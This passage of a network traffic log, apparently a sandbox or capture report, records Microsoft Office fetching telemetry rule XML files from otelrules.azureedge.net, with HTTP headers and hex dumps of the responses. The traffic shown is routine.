2024-11-25 11:08:05 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:05 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 9aa8fa60-a01e-001e-5131-3c49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110805Z-15b8b599d882l6clhC1TEBxd5c00000005s0000000007efq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:08:05 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.5	49910	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:05 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:08:05 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:05 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: 358685dd-301e-005d-4f7d-3be448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110805Z-174c587ffdfl22mzhC1TEBk40c0000000600000000008yuw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:08:05 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.5	49911	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:05 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:08:05 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:05 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 29108258-301e-0052-78fc-3d65d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110805Z-178bfbc474b9xljthC1NYCtw94000000077g0000000099r5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:08:05 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.5	49912	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:05 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:08:06 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:06 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: e2992625-501e-005b-678c-3ad7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110806Z-174c587ffdfmlsmvhC1TEBvyks000000061g000000004zt6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:08:06 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.5	49913	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:05 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:08:06 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:06 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: c780bae6-901e-005b-04c5-3b2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110806Z-174c587ffdfl22mzhC1TEBk40c00000005vg00000000pdye x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:08:06 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.5	49915	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:07 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:08:07 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:07 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 1803db6b-d01e-0017-042e-3eb035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110807Z-15b8b599d88hd9g7hC1TEBp75c00000005ug00000000736s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:08:07 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.5	49916	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:07 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:08:07 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:07 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 38a59648-401e-00ac-39a0-3b0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110807Z-174c587ffdfgcs66hC1TEB69cs00000005sg0000000049kp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:08:07 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.5	49917	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:07 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:08:08 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:07 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 74bdb417-d01e-00ad-341a-3de942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110807Z-178bfbc474bxkclvhC1NYC69g400000007d0000000001cba x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:08:08 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.5	49918	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:07 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:08:08 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:08 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 2155ac17-401e-00a3-238c-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110808Z-174c587ffdf7t49mhC1TEB4qbg00000005u000000000677r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:08:08 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.5	49919	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:08 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:08:08 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:08 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: c476523a-d01e-008e-6755-3b387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110808Z-15b8b599d886w4hzhC1TEBb4ug00000005zg000000002qs5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:08:08 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.5	49920	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:09 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:08:10 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:09 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 4a555c2b-b01e-0097-1e0f-3e4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110809Z-178bfbc474bbbqrhhC1NYCvw7400000007kg000000002zdc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:08:10 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.5	49921	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:09 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:08:10 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:10 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 61be3629-301e-0020-493f-3e6299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110810Z-174c587ffdfp4vpjhC1TEBybqw00000005w0000000006qns x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:08:10 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" 